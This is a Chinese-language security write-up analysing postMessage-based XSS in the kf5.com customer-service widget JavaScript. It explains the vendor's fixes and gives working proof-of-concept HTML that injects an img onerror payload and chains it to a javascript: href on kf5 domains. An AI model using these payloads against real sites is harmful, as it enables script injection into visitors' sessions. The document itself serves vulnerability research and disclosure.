简介 一套云客服系统, 以前我salt哥教我挖的xss, 自己以前做测试的时候遇到过几次用这系统的 打poc都能成功, 不过最近又遇到了一个, 尝试用以前的poc打的时候,发现失败了。看了一下最新的代码, 发现已经修复了。 修复方法为 1: 限制了postmessage的来源必须是support.kf5.com 2: showNotice方法当中, 把innerHTML改成了innerText 尝试绕过了一下, 算是失败了吧。
分析 这里首先以官网(http://www.kf5.com ) 为例测试一下, 直接看看修复后的代码 每一个要使用这套云客户系统的客户, 都需要引入一个js文件。http://assets-cdn.kf5.com//supportbox//main.js
1 2 3 <script type ="text/javascript" > document.write('<script src ="\/\/assets-cdn.kf5.com\/supportbox\/main.js?' + (new Date).getDay() + '" id ="kf5-provide-supportBox" kf5-domain ="support.kf5.com" charset ="utf-8" > <\ /script > '); </script >
在这个js文件当中,
1 2 3 4 5 6 7 8 var easing = { swing: function (t ) { return .5 - Math .cos(t * Math .PI) / 2 }, linear : function (t ) { return t } }; setup(), autoPopupService()
调用了setup方法,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 function setup ( ) { bindEvent(window , "DOMContentLoaded" , KF5SupportBox.loadConfig), bindEvent(window , "load" , KF5SupportBox.loadConfig), bindEvent(window .document, "page:load" , KF5SupportBox.loadConfig), bindEvent(window .document, "onreadystatechange" , function ( ) { "complete" === window .document.readyState && KF5SupportBox.loadConfig() }), window .initializeKF5SupportBox || (window .initializeKF5SupportBox = KF5SupportBox.loadConfig), bindEvent(window , "message" , function (t ) { var e, n, o; if (t.origin.match(/^https?:\/\/(.*)$/ )[1 ] === kf5Domain) if (t.data && "string" == typeof t.data && (e = t.data.match(/^([^ ]+)(?: +(.*))?/ ), n = e[1 ], o = e[2 ]), "CMD::showSupportbox" === n) KF5SupportBox.instance && (KF5SupportBox.instance.open(), KF5SupportBox.instance.hideButton()); else if ("CMD::hideSupportbox" === n) KF5SupportBox.instance && KF5SupportBox.instance.close(function ( ) { KF5SupportBox.instance.showButton() }); else if ("CMD::resizeIframe" === n) ; else if ("CMD::kf5Notice" === n) KF5SupportBox.instance && KF5SupportBox.instance.showNotice(o && JSON .parse(o)); else if ("CMD::newMsgCountNotice" === n) { if (KF5SupportBox.instance) { var i = KF5SupportBox.instance.getElement("#msg-number" ); o = parseInt (o), o ? (i.style.display = "block" , i.innerHTML = o < 10 ? o : "..." ) : (i.style.display = "none" , i.innerHTML = "" ) } } else if ("CMD::showImage" === n) { if (KF5SupportBox.instance) { var s = KF5SupportBox.instance.getElement("#kf5-view-image" ), a = KF5SupportBox.instance.getElement("#kf5-backdrop" ), r = s.parentNode || s.parentElement; o = o ? JSON .parse(o) : {}, a.style.display = "block" , r.setAttribute("href" , o.url), r.setAttribute("title" , o.name || "" ), s.setAttribute("src" , o.url), s.setAttribute("alt" , o.name || "" ) } } else "CMD::iframeReady" === n && KF5SupportBox.instance.onIframeReady() }), "string" == typeof lang && lang && KF5SupportBoxAPI.ready(function ( ) { KF5SupportBoxAPI.useLang(lang) }) }
在setup方法当中, 可以看到监听了window对象的message事件, 但是限制了来源(修复1), 在来源符合要求的情况下直接往这个页面postmessage就可以触发这个事件了。
1 if (t.origin.match(/^https?:\/\/(.*)$/ )[1 ] === kf5Domain) if (t.data && "string" == typeof t.data && (e = t.data.match(/^([^ ]+)(?: +(.*))?/ ), n = e[1 ], o = e[2 ])
判断了postmessage的来源是不是kf5Domain, 如果是的话,才会进入下一个if然后再给n、o变量赋值。 如果不是的话, 没法进入if, n、o变量就都为两个未初始化的变量, 就利用不上了。
1 2 3 script = window .document.getElementById("kf5-provide-supportBox" ), parts = script.src.split("//" ), assetsHost = parts.length > 1 ? parts[1 ].split("/" )[0 ] : "assets.kf5.com" , kf5Domain = script.getAttribute("kf5-domain" )
kf5Domain来自id为kf5-provide-supportBox的标签的kf5-domain属性。
1 <script src ="//assets-cdn.kf5.com/supportbox_v2/main.js?v=20170307" id ="kf5-provide-supportBox" kf5-domain ="support.kf5.com" > </script >
所以kf5-domain就为support.kf5.com。 这里我们需要找一个support.kf5.com的xss才能接着看这个postmessage了。
找support.kf5.com的xss, 我还是首先看看有没有类似的postmessage造成的xss
一共监听了三个message事件, 在查看第一个的时候就发现了存在xss.https://assets-cdn.kf5.com/supportbox_v2/main.js?v=20170307
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 window .initializeKF5SupportBox || (window .initializeKF5SupportBox = KF5SupportBox.loadConfig), bindEvent(window , "message" , function (t ) { var e, i, n; if (t.data && "string" == typeof t.data && (e = t.data.match(/^([^ ]+)(?: +(.*))?/ ), i = e[1 ], n = e[2 ]), "CMD::showSupportbox" === i) KF5SupportBox.instance && (KF5SupportBox.instance.open(), KF5SupportBox.instance.hideButton()); else if ("CMD::hideSupportbox" === i) KF5SupportBox.instance && KF5SupportBox.instance.close(function ( ) { KF5SupportBox.instance.showButton() }); else if ("CMD::resizeIframe" === i) ; else if ("CMD::kf5Notice" === i) KF5SupportBox.instance && KF5SupportBox.instance.showNotice(n && JSON .parse(n));
这个文件和之前未修复的文件很像, 没有限制来源。
再对传递过来的message数据通过正则以第一个空格分为两组, n变量为空格之前的字符, o变量为空格之后的字符。 n变量是用来选择进入哪个分支的, 这里看一下CMD::kf5Notice分支, 在进入CMD::kf5Notice分支之后会继续执行
1 2 else if ("CMD::kf5Notice" === n) KF5SupportBox.instance && KF5SupportBox.instance.showNotice(o && JSON .parse(o));
这里对o变量从字符串解析到JSON之后, 作为参数传递到了showNotice方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 showNotice: function (t ) { var e = this , i = window .document.createElement("div" ); return t = "object" == typeof t ? t : {}, i.innerHTML = this .getOpt("noticeTemplate" ).replace("{{title}}" , t.title || "提示信息" ).replace("{{content}}" , t.content || "" ).replace("{{avatar}}" , t.avatar || this .getOpt("defaultNoticeAvatar" )).replace("{{submitText}}" , t.submitText || "接受" ).replace("{{cancelText}}" , t.cancelText || "拒绝" ), this .closeNotice(), this .noticeElement = i, 1 === this .getOpt("version" ) ? document .body.appendChild(i) : this .el && this .el.appendChild(i), bindEvent(document .getElementById("kf5-support-message-accept" ), "click" , function ( ) { e.open(), e.hideButton(), e.iframe && e.iframe.contentWindow && e.iframe.contentWindow.postMessage("CMD::kf5NoticeAccepted " + JSON .stringify(t.data), "*" ), e.closeNotice() }), bindEvent(document .getElementById("kf5-support-message-reject" ), "click" , function ( ) { e.iframe && e.iframe.contentWindow && e.iframe.contentWindow.postMessage("CMD::kf5NoticeRejected " + JSON .stringify(t.data), "*" ), e.closeNotice() }), i }
showNotice方法中, 使用传入进来的json对模板中的变量进行替换之后, 直接就进行innerHTML了, 可以直接xss。
1 2 3 4 5 6 7 8 9 <iframe id ="demo" src ="http://support.kf5.com" width ="0" height ="0" > </iframe > <script type ="text/javascript" > window .onload = function ( ) { var popup = demo.contentWindow; var msg = 'CMD::kf5Notice {"content": "<img /src =x onerror =alert(document.domain) /> "}' popup.postMessage(msg, "*" ); } </script >
但是这里只是https://assets-cdn.kf5.com/supportbox_v2/main.js 的xss而已, 其他客户引入的js都是http://assets-cdn.kf5.com//supportbox//main.js 。 所以继续尝试看看能不能使用supportbox_v2的xss来触发supportbox的xss。 现在找到了support.kf5.com的xss, 可以通过postmessage的来源判断了。 再继续往下看supportbox/main.js。
1 2 3 4 5 6 7 8 9 10 11 12 13 showNotice: function (t ) { function e ( ) { o.open(), o.hideButton(), o.iframe && o.iframe.contentWindow && o.iframe.contentWindow.postMessage("CMD::kf5NoticeAccepted " + JSON .stringify(t.data), "*" ), o.closeNotice() } var n, o = this ; return t = "object" == typeof t ? t : {}, n = renderTemplate(this .getOpt("noticeTemplate" ), { noticeTitle: t.title || "æ示信æ¯" , noticeContent: t.content || "" , noticeAvatar: t.avatar || this .getOpt("defaultNoticeAvatar" ), noticeAccept: t.submitText || "接å—" , noticeReject: t.cancelText || "æ‹’ç»" }
supportbox中的showNotice并没有像supportbox_v2一样直接replace变量后就innerHTML, 而是使用了renderTemplate。(修复2)
1 2 3 4 5 6 function renderTemplate (t, e, n ) { var o, i = document .createElement("div" ); i.innerHTML = t; for (var s in e) e.hasOwnProperty(s) && (o = i.getElementsByClassName ? i.getElementsByClassName("kf5-tpl-" + s) : getElementsByClassName(i, "kf5-tpl-" + s), (o = o.length ? o[0 ] : null ) && (n && "function" == typeof n[s] ? n[s](o, e[s]) : "string" == typeof o.textContent ? o.textContent = e[s] : o.innerText = e[s])); return i }
而在renderTemplate当中, 使用的是innerText, 所以不能xss。 这里就只有选择其他的分支尝试xss, 但是看完了几个分支, 都没有合适的点可以xss, 只找到了一个地方能够点击xss(实在没啥用,并且我都不知道咋样才能点到这个a标签)。
1 2 3 4 5 6 7 else if ("CMD::showImage" === n) { if (KF5SupportBox.instance) { var s = KF5SupportBox.instance.getElement("#kf5-view-image" ), a = KF5SupportBox.instance.getElement("#kf5-backdrop" ), r = s.parentNode || s.parentElement; o = o ? JSON .parse(o) : {}, a.style.display = "block" , r.setAttribute("href" , o.url), r.setAttribute("title" , o.name || "" ), s.setAttribute("src" , o.url), s.setAttribute("alt" , o.name || "" ) } }
在CMD::showImage分支下, 可以设置#kf5-view-image的alt/src属性。 可以设置#kf5-view-image标签的父节点的href/title属性。 kf5-view-image标签是img标签, 他的父节点是a标签。 所以可以通过父节点的href属性进行点击xss。
1 2 3 4 5 6 7 8 9 10 11 12 <iframe id ="demo" src ="http://support.kf5.com" width ="100%" height ="100%" > </iframe > <script type ="text/javascript" > window .onload = function ( ) { var content = `<iframe src =https://www.kf5.com/ id =demo2 onload ='var popup2 = demo2.contentWindow;var msg2 =\\\"CMD::showImage {\\\\\\"url\\\\\\":\\\\\\"javascript:alert(document.domain)\\\\\\"}\\\";popup2.postMessage(msg2, \\\"*\\\"); ' > ` var popup = demo.contentWindow; var msg = `CMD::kf5Notice {"content": "${content} "}` popup.postMessage(msg, "*" ); } </script >
References https://5alt.me/